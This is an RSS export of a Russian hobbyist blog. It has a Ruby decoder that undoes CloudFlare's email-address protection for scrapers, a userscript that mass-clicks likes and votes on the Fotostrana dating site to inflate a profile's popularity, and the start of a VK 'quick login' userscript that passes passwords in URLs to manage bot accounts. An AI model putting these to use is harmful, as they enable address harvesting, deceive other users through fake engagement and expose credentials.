<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; скрипты</title>
	<atom:link href="http://blog.lukmus.ru/category/%d1%81%d0%ba%d1%80%d0%b8%d0%bf%d1%82%d1%8b/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>CloudFlare Email Protection Decoder на Ruby</title>
		<link>http://blog.lukmus.ru/2016/07/24/cloudflare-email-protection-decoder/</link>
		<comments>http://blog.lukmus.ru/2016/07/24/cloudflare-email-protection-decoder/#comments</comments>
		<pubDate>Sun, 24 Jul 2016 16:58:03 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[скрипты]]></category>
		<category><![CDATA[cloudflare]]></category>
		<category><![CDATA[email protection]]></category>
		<category><![CDATA[ruby]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=2416</guid>
		<description><![CDATA[Известная контора CloudFlare и ее популярная услуга проксирования сайта, иногда, на определенных тарифах, не только скрывает истинный IP сервера сайта, но и может подменять контент выдаваемой сервером страницы. В частности, CF любит подменять открытые e-mail адреса, на JS-скрипт, который шифрует адрес вида xxx@yyy.zzz в исходном коде страницы. Пользователь браузера при этом не замечает подмены e-mail [...]]]></description>
			<content:encoded><![CDATA[<p>Известная контора <a href="https://www.cloudflare.com/" target="_blank" rel='nofollow'>CloudFlare</a> и ее популярная услуга проксирования сайта, иногда, на определенных тарифах, не только скрывает истинный IP сервера сайта, но и может подменять контент выдаваемой сервером страницы. В частности, CF любит подменять открытые e-mail адреса, на JS-скрипт, который шифрует адрес вида xxx@yyy.zzz в исходном коде страницы. Пользователь браузера при этом не замечает подмены e-mail адреса, т.к. JS расшифровывает его, чего не сказать о парсере.<br />
<img class="alignnone size-full wp-image-2421" title="cloudware" src="http://blog.lukmus.ru/wp-content/uploads/2016/07/cloudware.png" alt="" width="517" height="359" /><span id="more-2416"></span><br />
Если в настройках сайта в CF включена защита Email, то фрагмент исходного кода с почтовым адресом выглядит примерно так:</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="html" style="font-family:monospace;">&lt;a id=&quot;__cf_email__&quot; href=&quot;http://cloudflare.com/email-protection.html&quot; class=&quot;f091809582839f9eb080999e97848582849c95de939f9d&quot;&gt;[email protected]&lt;/a&gt;</pre></td></tr></table></div>

<p>Где <code>f091809582839f9eb080999e97848582849c95de939f9d</code> &#8211; зашифрованная почта.</p>
<p>Реализации расшифровщика Cloudflare Email Encrypt существуют на множестве языков, например товарищ xl7dev <a href="http://blog.safebuff.com/2016/06/01/Cloudflare-Email-Protection-Decoder/" target="_blank" rel='nofollow'>представил</a> Cloudflare Email Protection Decoder на PHP и Python. Но разве прогрессивное человечество еще использует эти древние мантры?</p>
<h3>Cloudflare Email Protection Decoder на Ruby</h3>

<div class="wp_syntax"><table><tr><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> cf_decode<span style="color:#006600; font-weight:bold;">&#40;</span>code<span style="color:#006600; font-weight:bold;">&#41;</span>
  k=code<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span>..<span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">hex</span>
  <span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">2</span>..<span style="color:#006600; font-weight:bold;">&#40;</span>code.<span style="color:#9900CC;">size</span><span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">step</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">2</span><span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">to_a</span>.<span style="color:#9900CC;">map</span><span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>i<span style="color:#006600; font-weight:bold;">|</span> <span style="color:#006600; font-weight:bold;">&#40;</span>code<span style="color:#006600; font-weight:bold;">&#91;</span>i..<span style="color:#006600; font-weight:bold;">&#40;</span>i<span style="color:#006600; font-weight:bold;">+</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">hex</span>^k<span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">chr</span><span style="color:#006600; font-weight:bold;">&#125;</span>.<span style="color:#9900CC;">join</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="code"><pre class="bash" style="font-family:monospace;">$ irb
2.0.0-p648 :001 <span style="color: #000000; font-weight: bold;">&gt;</span> def cf_decode<span style="color: #7a0874; font-weight: bold;">&#40;</span>code<span style="color: #7a0874; font-weight: bold;">&#41;</span>
2.0.0-p648 :002?<span style="color: #000000; font-weight: bold;">&gt;</span>     <span style="color: #007800;">k</span>=code<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span>..<span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>.hex
2.0.0-p648 :003?<span style="color: #000000; font-weight: bold;">&gt;</span>     <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">2</span>..<span style="color: #7a0874; font-weight: bold;">&#40;</span>code.size-<span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>.step<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>.to_a.map<span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #000000; font-weight: bold;">|</span>i<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>code<span style="color: #7a0874; font-weight: bold;">&#91;</span>i..<span style="color: #7a0874; font-weight: bold;">&#40;</span>i+<span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>.hex^k<span style="color: #7a0874; font-weight: bold;">&#41;</span>.chr<span style="color: #7a0874; font-weight: bold;">&#125;</span>.join
2.0.0-p648 :004?<span style="color: #000000; font-weight: bold;">&gt;</span>   end
 =<span style="color: #000000; font-weight: bold;">&gt;</span> nil 
2.0.0-p648 :005 <span style="color: #000000; font-weight: bold;">&gt;</span> cf_decode<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">'f091809582839f9eb080999e97848582849c95de939f9d'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
 =<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #ff0000;">&quot;aperson@pingturtle.com&quot;</span> 
2.0.0-p648 :006 <span style="color: #000000; font-weight: bold;">&gt;</span></pre></td></tr></table></div>

<p><meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2016/07/cloudware.png" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2016/07/24/cloudflare-email-protection-decoder/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>меня не любят девушки или как накрутить анкету в Фотостране</title>
		<link>http://blog.lukmus.ru/2014/04/19/fotostrana/</link>
		<comments>http://blog.lukmus.ru/2014/04/19/fotostrana/#comments</comments>
		<pubDate>Sat, 19 Apr 2014 23:22:29 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[userscript]]></category>
		<category><![CDATA[фотострана]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=2176</guid>
		<description><![CDATA[Есть такой замечательный сайт знакомств Фотострана. Там разнополые, впрочем не всегда, жаждут встретить друг друга и слиться в сексуальном экстазе в единое целое, это не мои домыслы, именно в таком ключе меня познакомили с этим сайтом, видимо у кого-то был высокий CTR на это дело. Процент реальных анкет, насколько я могу судить по своему опыту, [...]]]></description>
			<content:encoded><![CDATA[<p>Есть такой замечательный сайт знакомств <a href="http://fotostrana.ru/" rel="nofollow" target="_blank">Фотострана</a>. Там разнополые, впрочем не всегда, жаждут встретить друг друга и слиться в сексуальном экстазе в единое целое, это не мои домыслы, именно в таком ключе меня познакомили с этим сайтом, видимо у кого-то был высокий CTR на это дело. Процент реальных анкет, насколько я могу судить по своему опыту, там гораздо больше чем в ВК, а следовательно вероятность реальной встречи, <del datetime="2014-04-19T19:56:05+00:00">что само по себе звучит ужасающе для компьютерных социопатов</del>, довольно велика. Разумеется, чтобы анкету заметили пачки нимфоманок с бешенством матки или крутые поцаны со спермотоксикозом и рваной ширинкой, необходимо сначала грамотно засветить свой мужественный/женственный профиль. О том, как автоматизировать долгий процесс популяризации анкеты здесь и пойдет речь.<br />
<img src="http://blog.lukmus.ru/wp-content/uploads/2014/04/chinaso18.png" alt="В Твиттере Lukmus раскрылся как секссимвол" title="lukmustar" width="517" height="1244" class="alignnone size-full wp-image-2186" /><br />
<span id="more-2176"></span><br />
Понятие популярности в Фотостране довольно относительно, там существует определенное количество разных конкурсов и встроенных приложений, активное участие в которых косвенно повышает просмотры анкеты. Я буду считать задачу выполненной если показатель популярности анкеты (левый нижний угол на странице профиля) изменяется от <span style="color: #9b050d;">Низкая популярность</span> до <span style="color: #70c207;">Высокая популярность</span> и <span style="color: #bc0a6f;">Крутая популярность</span>.</p>
<p>Нам понадобятся следующие конкурсы (я буду называть их так): <a href='http://fotostrana.ru/meeting/?fromServiceBlock=0&#038;ls=0'>Встречи</a> (скрипт meeting), <a href='http://fotostrana.ru/rating/?h=1'>Лицо с обложки</a> (fsrating) и <a href='http://fotostrana.ru/contest'>Голосование Мисс/Мистер</a> (contest).</p>
<h2>Userscript</h2>
<p>Суть накрутки популярности заключается в автоматизации процесса голосования в приведенных выше конкурсах. Для автоматизации я предлагаю использовать Userscript. Что такое Userscript и как его устанавливать я уже описывал <a href='http://blog.lukmus.ru/2012/09/30/byistryiy-vhod-v-vk-pri-pomoshhi-userscript/'>ранее</a>.</p>
<p>Собственно сам скрипт:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// ==UserScript==</span>
<span style="color: #006600; font-style: italic;">// @name        fs_like_click</span>
<span style="color: #006600; font-style: italic;">// @author Lukmus (blog.lukmus.ru)</span>
<span style="color: #006600; font-style: italic;">// @namespace   fotostrana.ru</span>
<span style="color: #006600; font-style: italic;">// @include     about:addons</span>
<span style="color: #006600; font-style: italic;">// @version     1.0</span>
<span style="color: #006600; font-style: italic;">// @require  http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js</span>
<span style="color: #006600; font-style: italic;">// ==/UserScript==</span>
&nbsp;
<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>window<span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">undefined</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066; font-weight: bold;">var</span> w<span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> unsafeWindow <span style="color: #339933;">!=</span> <span style="color: #003366; font-weight: bold;">undefined</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        w <span style="color: #339933;">=</span> unsafeWindow
    <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>w <span style="color: #339933;">=</span> window<span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>w.<span style="color: #660066;">self</span> <span style="color: #339933;">!=</span> w.<span style="color: #660066;">top</span><span style="color: #009900;">&#41;</span><span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span>
&nbsp;
    alert<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'fs photo click &amp; contest click 10k with if loaded'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/http:\/\/fotostrana.ru\/\?fsrating=(.)+/</span>.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>w.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    	<span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #CC0000;">10000</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		setTimeout<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		  <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span><span style="">Math</span>.<span style="color: #660066;">random</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #CC0000;">10</span><span style="color: #339933;">&gt;</span><span style="color: #CC0000;">2</span><span style="color: #009900;">&#41;</span>
		    $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.ibtn.ibtn-big.ibtn-blue.fsr-photo-like'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		  <span style="color: #000066; font-weight: bold;">else</span>
		    $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#fsr-photo-next-arrow'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>i<span style="color: #339933;">*</span><span style="color: #CC0000;">2000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/http:\/\/fotostrana.ru\/contest\/(.)+/</span>.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>w.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
    	<span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #CC0000;">10000</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	        <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">==</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span>delay<span style="color: #339933;">=</span><span style="color: #CC0000;">10000</span><span style="color: #339933;">;</span> <span style="color: #000066; font-weight: bold;">else</span> delay<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
&nbsp;
		setTimeout<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		  strs<span style="color: #339933;">=</span><span style="color: #009966; font-style: italic;">/.+addPaid.+/</span>.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.contest-btn.contest-btn-big.contest-popup-main-btn-vote'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'onclick'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		  <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>strs<span style="color: #009900;">&#41;</span>
		    $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.contest-btn.contest-btn-big.contest-popup-main-btn-vote'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		  <span style="color: #000066; font-weight: bold;">else</span>
		    contestApp.<span style="color: #660066;">popupMain</span>.<span style="color: #660066;">next</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>delay<span style="color: #339933;">+</span>i<span style="color: #339933;">*</span><span style="color: #CC0000;">2000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/http:\/\/fotostrana.ru\/meeting(\/)?/</span>.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>window.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
      <span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&lt;</span><span style="color: #CC0000;">10000</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	setTimeout<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.meeting-btn-bc.meeting-btn-bc-mb.btn.btn-big.btn-big-mb'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>i<span style="color: #339933;">*</span><span style="color: #CC0000;">2000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>window<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>В работе скрипта сможет разобраться любой, кто хоть чуть-чуть знает JavasScript и JQuery. Для не обладающих тайным знанием JS следует знать, что <code>alert('fs photo click &#038; contest click 10k with if loaded');</code> можно безболезненно удалить или закомментировать, если это предупреждение выводит из себя.</p>
<h2>Эксплуатация</h2>
<p>После того как Userscript успешно установлен, открываем в браузере Фотострану, логинимся и открываем 3 вкладки: Встречи, Лицо с обложки и Голосование Мисс/Мистер.</p>
<h3>Голосование Мисс/Мистер</h3>
<p>Помимо захода на саму страницу голосования надо собственно выбрать какого-нибудь персонажа и нажать на него, далее процесс голосования должен запуститься автоматически, однако если этого не произойдет следует обновить страницу (URL с уже выбранным персонажем).<br />
<iframe width="517" height="426" src="http://video.yandex.ru/iframe/lookmoos/cds2zb8tjp.1213/" frameborder="0" allowfullscreen="1"></iframe></p>
<h3>Лицо с обложки</h3>
<p>Тут для запуска надо тоже первоначально выбрать кого-нибудь, в случае если скрипт не стартанул нужно также обновить страницу.<br />
<iframe width="517" height="426" src="http://video.yandex.ru/iframe/lookmoos/xui9wop6ks.3212/" frameborder="0" allowfullscreen="1"></iframe></p>
<h3>Встречи</h3>
<p>Здесь никого выбирать не надо, скрипт должен сразу начать голосовать, но если этого не произошло опять же обновляем страницу. Выбирать во Встречах можно не более 100 раз в час, скрипт автоматически выбирает не &#8220;Да&#8221;, а &#8220;Возможно&#8221;, но Фотострана учитывает и этот ответ тоже как положительный.<br />
<iframe width="517" height="426" src="http://video.yandex.ru/iframe/lookmoos/2z9tglp32d.7647/" frameborder="0" allowfullscreen="1"></iframe></p>
<p>Собственно теперь остается только открыть три вкладки и свернуть браузер, через 3-5 часов ваша популярность взлетит до небес. Причиной такого неожиданного роста внимания к вашей персоне &#8211; любопытство и благодарность, если вы за кого-то голосуете или вам &#8220;нравится&#8221; чья-то фотография, то в Фотостране вас за это обязательно отблагодарят ни о чем не подозревающие дамочки по ту сторону монитора.</p>
<p><meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2014/04/chinaso18.png" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2014/04/19/fotostrana/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>быстрый вход в ВК при помощи userscript</title>
		<link>http://blog.lukmus.ru/2012/09/30/byistryiy-vhod-v-vk-pri-pomoshhi-userscript/</link>
		<comments>http://blog.lukmus.ru/2012/09/30/byistryiy-vhod-v-vk-pri-pomoshhi-userscript/#comments</comments>
		<pubDate>Sun, 30 Sep 2012 17:30:04 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[скрипты]]></category>
		<category><![CDATA[aivk]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[userscript]]></category>
		<category><![CDATA[быстрый вход в vk.com]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=1514</guid>
		<description><![CDATA[Вчера утром ВК прикрыл замечательную возможность &#8216;быстрого входа&#8217;. Суть ее заключалась в GET-параметрах URL. Например, перейдя по ссылке: http://vk.com/login.php?m=1&#38;email=&#60;email&#62;&#38;pass=&#60;пароль&#62; можно было ничего далее не нажимая сразу оказаться залогиненым. Примером такого &#8216;быстро входа&#8217; является панель управления ботами на AIVK, те, у кого есть боты, понимают меня, как это было удобно. Ниже я покажу как вернуть эту [...]]]></description>
			<content:encoded><![CDATA[<p>Вчера утром ВК прикрыл замечательную возможность &#8216;быстрого входа&#8217;. Суть ее заключалась в GET-параметрах URL. Например, перейдя по ссылке: http://vk.com/login.php?m=1&amp;email=&lt;email&gt;&amp;pass=&lt;пароль&gt; можно было ничего далее не нажимая сразу оказаться залогиненым. Примером такого &#8216;быстро входа&#8217; является панель управления ботами на AIVK, те, у кого есть боты, понимают меня, как это было удобно. Ниже я покажу как вернуть эту функцию.<br />
<img class="aligncenter size-full wp-image-1515" title="putin" src="http://blog.lukmus.ru/wp-content/uploads/2012/09/putin.png" alt="" width="517" height="300" /><span id="more-1514"></span><br />
Далее инструкция для Firefox 3+, любителям Chrome, Opera и прочих браузеров придется искать способ подключения Userscript самим, сам скрипт менять не нужно.<br />
Итак, решение по &#8216;быстрому входу&#8217; заключается в подключении Userscript, который будет выполнять определенный сценарий на странице vk.com/login.php. Что такое userscript, как его написать самому и многое другое описано на <a rel="nofollow" href="http://habrahabr.ru/post/129343/" target="_blank">Хабре</a>, собственно по этой статье, я его и писал.</p>
<h2>userscript</h2>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// ==UserScript==</span>
<span style="color: #006600; font-style: italic;">// @name        vk_pass</span>
<span style="color: #006600; font-style: italic;">// @author Lukmus (blog.lukmus.ru)</span>
<span style="color: #006600; font-style: italic;">// @namespace   vk.com</span>
<span style="color: #006600; font-style: italic;">// @include     about:addons</span>
<span style="color: #006600; font-style: italic;">// @version     1.0</span>
<span style="color: #006600; font-style: italic;">// @require  http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js</span>
<span style="color: #006600; font-style: italic;">// ==/UserScript==</span>
&nbsp;
<span style="color: #000066; font-weight: bold;">function</span> getUrlVars<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #000066; font-weight: bold;">var</span> vars <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> hash<span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">var</span> hashes <span style="color: #339933;">=</span> window.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span>.
      <span style="color: #660066;">slice</span><span style="color: #009900;">&#40;</span>window.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span>.<span style="color: #660066;">indexOf</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'?'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">split</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'&amp;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> hashes.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        hash <span style="color: #339933;">=</span> hashes<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">split</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'='</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	vars.<span style="color: #660066;">push</span><span style="color: #009900;">&#40;</span>hash<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        vars<span style="color: #009900;">&#91;</span>hash<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> hash<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
    <span style="color: #000066; font-weight: bold;">return</span> vars<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>window<span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">undefined</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066; font-weight: bold;">var</span> w<span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> unsafeWindow <span style="color: #339933;">!=</span> <span style="color: #003366; font-weight: bold;">undefined</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        w <span style="color: #339933;">=</span> unsafeWindow
    <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>w <span style="color: #339933;">=</span> window<span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>w.<span style="color: #660066;">self</span> <span style="color: #339933;">!=</span> w.<span style="color: #660066;">top</span><span style="color: #009900;">&#41;</span><span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/http:\/\/vk.com\/login\.php/</span>.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>w.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
